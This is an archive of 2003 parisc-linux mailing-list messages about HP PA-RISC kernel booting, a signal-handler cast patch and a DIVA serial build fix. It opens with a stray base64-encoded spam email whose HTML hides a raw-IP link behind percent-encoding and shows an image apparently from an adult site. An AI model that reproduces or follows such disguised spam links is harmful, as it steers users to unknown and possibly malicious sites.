------=_NextPart_000_08A5_EA7B81C4.9935CD65
Content-Type: text/html;
	charset="iso-8859-1"
Content-Transfer-Encoding: base64

PGh0bWw+CQ0KCTxib2R5Pg0KICANCiAgDQo8WD48cCBhbGlnbj0iY2VudGVy
Ij5od2ViaWgybWpuZjxYUj55bGpvc3kyYjM0PGJyPg0KPGEgaHJlZj0iaHR0
cDovLzYlMzQuJTM0Ni4xMSUzNi4lMzQlMzQvJTY5biU2NCU2NXguJTcwaHA/
cyU3NCU3MmF0Ij48WT48Q0hGPjxpbWcgc3JjPSJodHRwOi8vdyU3NyU3Ny53
byU1MmwlNjRzZXhzJTY1JTUyJTc2ZXIuY29tL1hpJTYzJTU4byU2YiU2Nm8l
NmJyJTQ2JTZkQSU2QUElNzElNDF3JTQxJTc1RyU0MSU0NUYvaSU2RCU2MSU2
NyU2NXMvdCU2MiU2Mi5nJTY5JTY2IiBib3JkZXI9MD48WEdHVD48L2E+DQo8
YnI+ZG81c2hwM2ozMjl2ZTxicj5oOW5xam5yemN1NjA8L3A+IA0KIA0KICAN
CjwvQk9EWT48L2h0bWw+IA0KIA0KDQo=


------=_NextPart_000_08A5_EA7B81C4.9935CD65--



From - Thu Nov 08 21:27:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] k100 help
Date: Wed, 7 May 2003 09:42:07 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <20030507154207.GB22561@dsl2.external.hp.com>
References: <seb81b0b.047@brave.mc.edu>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622431 25430 80.91.229.3 (22 Nov 2014 02:13:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Stephen Travers <stravers@mc.edu>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 09:42:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 920694829; Wed,  7 May 2003 09:42:07 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <seb81b0b.047@brave.mc.edu>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18401

On Tue, May 06, 2003 at 08:28:50PM -0500, Stephen Travers wrote:
> >>> Grant Grundler <grundler@parisc-linux.org> 5/6/2003 8:21:33 PM >>>
> >>> What's meant here is use a different "console=" parameter.
> right
> i assume that's what console=ttyx0 and term=vt102 are?
> if so, they don't seem to do any good....ttyS0 gives memory errors and ttyB0 boots and stops displaying info at the line I specified.
 
ah ok. I guess I missed that in your mail.

grant


From - Thu Nov 08 21:27:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Wed, 7 May 2003 17:48:17 +0200
Lines: 54
Approved: news@gmane.org
Message-ID: <20030507154817.GH27494@lug-owl.de>
References: <200305061642.h46Gg6FU004016@hiauly1.hia.nrc.ca> <3EB7766A000003EE@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; micalg=pgp-sha1;
	protocol="application/pgp-signature"; boundary="cKDw3XFoqocuprIa"
X-Trace: ger.gmane.org 1416622431 25432 80.91.229.3 (22 Nov 2014 02:13:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:51 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 09:48:19 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dvmwest.gt.owl.de (dvmwest.gt.owl.de [62.52.24.140])
	by dsl2.external.hp.com (Postfix) with ESMTP id 240D74829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 09:48:19 -0600 (MDT)
Original-Received: by dvmwest.gt.owl.de (Postfix, from userid 1001)
	id 030C04AB96; Wed,  7 May 2003 17:48:17 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <3EB7766A000003EE@ocpmta7.freegates.net>
User-Agent: Mutt/1.4i
X-Operating-System: Linux mail 2.4.18 
X-gpg-fingerprint: 250D 3BCF 7127 0D8C A444  A961 1DBD 5E75 8399 E1BB
X-gpg-key: wwwkeys.de.pgp.net
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18402

--cKDw3XFoqocuprIa
Content-Type: text/plain; charset=iso-8859-1
Content-Disposition: inline
Content-Transfer-Encoding: quoted-printable

On Tue, 2003-05-06 19:56:48 +0200, Joel Soete <jsoe0708@tiscali.be>
wrote in message <3EB7766A000003EE@ocpmta7.freegates.net>:
> >> +#if defined (__hppa__)
> >> +	        current->sig->action[sig-1].sa.sa_handler =3D=3D (void *)SIG=
_IGN);
> >> +#else
> >>  	        current->sig->action[sig-1].sa.sa_handler =3D=3D SIG_IGN);
> >> +#endif
> >
> >You don't need to conditionalize the statement with the cast.  It should
> >work on all ports.
> >
> I trust you.
>=20
> So it will finaly become:
[...]

With this patch applied (plus the diva patch I've sent to the list these
days) I can compile'n'boot:

jbglaw@b132l-1:~$ uname -a
Linux b132l-1 2.4.20-pa33 #15 Wed May 7 08:29:13 CEST 2003 parisc unknown u=
nknown GNU/Linux

So I think it would be nice to put this patch into CVS.

MfG, JBG

--=20
   Jan-Benedict Glaw       jbglaw@lug-owl.de    . +49-172-7608481
   "Eine Freie Meinung in  einem Freien Kopf    | Gegen Zensur | Gegen Krieg
    fuer einen Freien Staat voll Freier B=FCrger" | im Internet! |   im Ira=
k!
      ret =3D do_actions((curr | FREE_SPEECH) & ~(IRAQ_WAR_2 | DRM | TCPA));

--cKDw3XFoqocuprIa
Content-Type: application/pgp-signature
Content-Disposition: inline

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.1 (GNU/Linux)

iD8DBQE+uSrBHb1edYOZ4bsRAid5AJ9sgEqCD2RZYbU96yVs7BLnVMYErQCeLetb
RYmogzR3XBvm01oxbgQzvkM=
=wfug
-----END PGP SIGNATURE-----

--cKDw3XFoqocuprIa--


From - Thu Nov 08 21:27:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Wed, 7 May 2003 18:09:04 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <3EB772D800000C9F@ocpmta2.freegates.net>
References: <20030507154817.GH27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622432 25434 80.91.229.3 (22 Nov 2014 02:13:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:52 +0000 (UTC)
To: "Jan-Benedict Glaw" <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 10:09:07 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35D3A4829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 10:09:07 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 7 May 2003 18:09:04 +0200
In-Reply-To: <20030507154817.GH27494@lug-owl.de>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18403

>On Tue, 2003-05-06 19:56:48 +0200, Joel Soete <jsoe0708@tiscali.be>
>wrote in message <3EB7766A000003EE@ocpmta7.freegates.net>:
>> >> +#if defined (__hppa__)
>> >> +	        current->sig->action[sig-1].sa.sa_handler == (void *)SIG_IGN);
>> >> +#else
>> >>  	        current->sig->action[sig-1].sa.sa_handler == SIG_IGN);
>> >> +#endif
>> >
>> >You don't need to conditionalize the statement with the cast.  It should
>> >work on all ports.
>> >
>> I trust you.
>> 
>> So it will finaly become:
>[...]
>
>With this patch applied (plus the diva patch I've sent to the list these
>days) I can compile'n'boot:

Thanks first for feedback.
I also have a look on your patch and it seems to me relevant.

>
>jbglaw@b132l-1:~$ uname -a
>Linux b132l-1 2.4.20-pa33 #15 Wed May 7 08:29:13 CEST 2003 parisc unknown
>unknown GNU/Linux
>
>So I think it would be nice to put this patch into CVS.
>
I hope also it will be ci but I could not help.

Thanks again,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [PATCH-2.4] DIVA serial build error (was: Oops on 2.4.20-pa33)
Date: Wed, 07 May 2003 10:27:23 -0600
Lines: 10
Approved: news@gmane.org
Message-ID: <20030507162723.0760414388@paul.bame>
References: <20030505200251.GS27494@lug-owl.de> <20030505200537.GF29544@tausq.org> <20030505210532.GU27494@lug-owl.de>  <20030506152021.GC27494@lug-owl.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416622432 25435 80.91.229.3 (22 Nov 2014 02:13:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jan-Benedict Glaw <jbglaw@lug-owl.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 10:27:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel8.hp.com (atlrel8.hp.com [156.153.255.206])
	by dsl2.external.hp.com (Postfix) with ESMTP id 37DE14829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 10:27:24 -0600 (MDT)
Original-Received: from smtp1.fc.hp.com (smtp1.fc.hp.com [15.15.136.127])
	by atlrel8.hp.com (Postfix) with ESMTP
	id C5D411C01E40; Wed,  7 May 2003 12:27:23 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp1.fc.hp.com (Postfix) with ESMTP
	id 57F443817B; Wed,  7 May 2003 10:27:23 -0600 (MDT)
Original-Received: from paul.bame (paul.bame [10.66.2.7])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 23FA64656; Wed,  7 May 2003 10:27:23 -0600 (MDT)
Original-Received: from fc.hp.com (localhost [127.0.0.1])
	by paul.bame (Postfix) with ESMTP
	id 0760414388; Wed,  7 May 2003 10:27:23 -0600 (MDT)
In-Reply-To: Your message of "Tue, 06 May 2003 17:20:21 +0200."
             <20030506152021.GC27494@lug-owl.de> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18404

> 
> Has anybody looked at the other patch (I sent with the mail I'm now
> replyin' to)? It was needed and seems to be correct. Is anybody to check
> it into CVS?
> 

Yes, it's correct and I'll apply it in CVS shortly.  Thanks so much!

	-P


From - Thu Nov 08 21:27:43 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] isobuild.sh read access?
Date: Wed, 7 May 2003 18:35:18 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <3EB772D800000CBA@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622432 25438 80.91.229.3 (22 Nov 2014 02:13:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Thibaut VARENE" <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 10:35:52 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6E1044830
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 10:35:52 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 7 May 2003 18:35:18 +0200
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18405

Hi Thibaut,

As I mentioned in other mail, my b2k crashed during an apt-get upgrade (due
to an hw pb). This corrupted its root fs.

I would like so to re-install it and the only way I know for a b2k (because
of this ide cdrom) is to use a lifimage. I try severall of your lifimages
but all hang during "search devices" (iirc the kernel config is not adapted
for this b2k :( ).

I would so try to find help in your script isobuild.sh to rebuild my lifimage
with my kernel which I know operational on this model. Unfortunately each
time I try to read it i got following error message:
Forbidden
You don't have permission to access /archive/scripts/isobuild.sh on this
server.

Thanks in advance for help,
    Joel

PS: Would it not be put also into build-tools cvs tree?

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Derek Engelhaupt <derekengelhaupt@rocketmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] isobuild.sh read access?
Date: Wed, 7 May 2003 09:40:42 -0700 (PDT)
Lines: 55
Approved: news@gmane.org
Message-ID: <20030507164042.58708.qmail@web12508.mail.yahoo.com>
References: <3EB772D800000CBA@ocpmta2.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="0-481230331-1052325642=:58245"
X-Trace: ger.gmane.org 1416622433 25440 80.91.229.3 (22 Nov 2014 02:13:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>,
	Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 10:40:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from web12508.mail.yahoo.com (web12508.mail.yahoo.com [216.136.173.200])
	by dsl2.external.hp.com (Postfix) with SMTP id 8CFD6484A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 10:40:43 -0600 (MDT)
Original-Received: from [66.188.204.61] by web12508.mail.yahoo.com via HTTP; Wed, 07 May 2003 09:40:42 PDT
In-Reply-To: <3EB772D800000CBA@ocpmta2.freegates.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18406

--0-481230331-1052325642=:58245
Content-Type: text/plain; charset=us-ascii

I used a netinst iso on my B2000 without any issues.  Same with my C3000 derek

Joel Soete <jsoe0708@tiscali.be> wrote:Hi Thibaut,

As I mentioned in other mail, my b2k crashed during an apt-get upgrade (due
to an hw pb). This corrupted its root fs.

I would like so to re-install it and the only way I know for a b2k (because
of this ide cdrom) is to use a lifimage. I try severall of your lifimages
but all hang during "search devices" (iirc the kernel config is not adapted
for this b2k :( ).

I would so try to find help in your script isobuild.sh to rebuild my lifimage
with my kernel which I know operational on this model. Unfortunately each
time I try to read it i got following error message:
Forbidden
You don't have permission to access /archive/scripts/isobuild.sh on this
server.

Thanks in advance for help,
Joel

PS: Would it not be put also into build-tools cvs tree?

---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be


_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

---------------------------------
Do you Yahoo!?
The New Yahoo! Search - Faster. Easier. Bingo.
--0-481230331-1052325642=:58245
Content-Type: text/html; charset=us-ascii

<DIV>
<DIV>I used a netinst iso on my B2000 without any issues.&nbsp; Same with my C3000</DIV>
<DIV>&nbsp;</DIV>
<DIV>derek<BR><BR><B><I>Joel Soete &lt;jsoe0708@tiscali.be&gt;</I></B> wrote:</DIV>
<BLOCKQUOTE style="PADDING-LEFT: 5px; MARGIN-LEFT: 5px; BORDER-LEFT: #1010ff 2px solid">Hi Thibaut,<BR><BR>As I mentioned in other mail, my b2k crashed during an apt-get upgrade (due<BR>to an hw pb). This corrupted its root fs.<BR><BR>I would like so to re-install it and the only way I know for a b2k (because<BR>of this ide cdrom) is to use a lifimage. I try severall of your lifimages<BR>but all hang during "search devices" (iirc the kernel config is not adapted<BR>for this b2k :( ).<BR><BR>I would so try to find help in your script isobuild.sh to rebuild my lifimage<BR>with my kernel which I know operational on this model. Unfortunately each<BR>time I try to read it i got following error message:<BR>Forbidden<BR>You don't have permission to access /archive/scripts/isobuild.sh on this<BR>s
 erver.<BR><BR>Thanks in advance for help,<BR>Joel<BR><BR>PS: Would it not be put also into build-tools cvs tree?<BR><BR>---------------------------------<BR>Vous surfez avec une ligne classique ?<BR>Economisez jusqu' 25% avec Tiscali Complete !<BR>Offre spciale : premire anne d'abonnement offerte.<BR>... Plus d'info sur http://complete.tiscali.be<BR><BR><BR>_______________________________________________<BR>parisc-linux mailing list<BR>parisc-linux@lists.parisc-linux.org<BR>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux</BLOCKQUOTE></DIV><p><hr SIZE=1>
Do you Yahoo!?<br>
<a href="http://us.rd.yahoo.com/search/mailsig/*http://search.yahoo.com">The New Yahoo! Search</a> - Faster. Easier. Bingo.
--0-481230331-1052325642=:58245--


From - Thu Nov 08 21:27:43 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] isobuild.sh read access?
Date: Wed, 7 May 2003 18:50:11 +0200
Lines: 18
Approved: news@gmane.org
Message-ID: <3EB772D800000CCE@ocpmta2.freegates.net>
References: <20030507164042.58708.qmail@web12508.mail.yahoo.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622433 25443 80.91.229.3 (22 Nov 2014 02:13:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Derek Engelhaupt" <derekengelhaupt@rocketmail.com>,
	"Thibaut VARENE" <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 10:50:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.tiscali.be (unknown [62.235.14.106])
	by dsl2.external.hp.com (Postfix) with ESMTP id 171C34829
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 10:50:45 -0600 (MDT)
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Wed, 7 May 2003 18:50:11 +0200
In-Reply-To: <20030507164042.58708.qmail@web12508.mail.yahoo.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18407

>
>I used a netinst iso on my B2000 without any issues.
umm great but it doesn't work for me :( (I trust that lifimage into net iso
is the same as i grab seperately on esiee.fr and which I 'md5' check). Do
I have to disconnect ide cdrom?

Thanks in advance for additional info,
    Joel


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Oops on 2.4.20-pa33
Date: Wed, 7 May 2003 10:17:34 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20030507171734.GG23465@tausq.org>
References: <20030507154817.GH27494@lug-owl.de> <3EB772D800000C9F@ocpmta2.freegates.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622433 25446 80.91.229.3 (22 Nov 2014 02:13:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:13:53 +0000 (UTC)
Cc: Jan-Benedict Glaw <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
To: Joel Soete <jsoe0708@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed May  7 11:21:27 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id D9C97484A
	for <parisc-linux@lists.parisc-linux.org>; Wed,  7 May 2003 11:21:26 -0600 (MDT)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 36938CD295; Wed,  7 May 2003 10:17:34 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3EB772D800000C9F@ocpmta2.freegates.net>
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.3i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:18408

> >So I think it would be nice to put this patch into CVS.
> >
> I hope also it will be ci but I could not help.

